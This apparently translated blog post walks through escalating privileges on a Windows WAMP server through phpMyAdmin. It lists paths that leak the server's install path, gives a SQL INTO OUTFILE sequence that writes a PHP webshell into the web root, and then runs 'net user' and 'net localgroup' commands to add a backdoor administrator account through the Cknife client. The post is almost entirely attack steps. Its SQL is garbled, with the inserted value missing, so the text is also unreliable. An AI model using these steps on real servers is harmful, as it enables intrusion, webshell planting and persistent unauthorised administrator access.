Using phpMyAdmin to extract rightsPosted in 2016-03-31 | Categories in phpMyAdmin | No Comments | 9 readsBurst path
- /phpmyadmin/libraries/lect_lang.lib.php
- /phpmyadmin/index.php?lang[]=1
- /phpmyadmin/phpinfo.php
- /load_file ()
- /phpmyadmin/themes/darkblue_orange/layout.inc.php
- /phpmyadmin/libraries/select_lang.lib.php
- /phpmyadmin/libraries/lect_lang.lib.php
- /phpmyadmin/libraries/mcrypt.lib.php
Get the physical path C:\wamp\www\phpmyadmin\themes\darkblue_orange\layout.inc.php
Writing horses
1 2 3 4
|
create TABLE A (cmd text not null); insert into A (cmd) values ( select cmd from a into outfile "c:/wamp/www/phpmyadmin/d.php"; drop table if exists A; |
Get Webshell
Finally, create an account and add it to the Admin user group using the Cknife connection
net user admin admin /add
net localgroup administrator admin /add
#phpMyAdmin原文链接: http://blog.alpace.xyz/2016/03/31/20160331/
Using phpMyAdmin to extract rights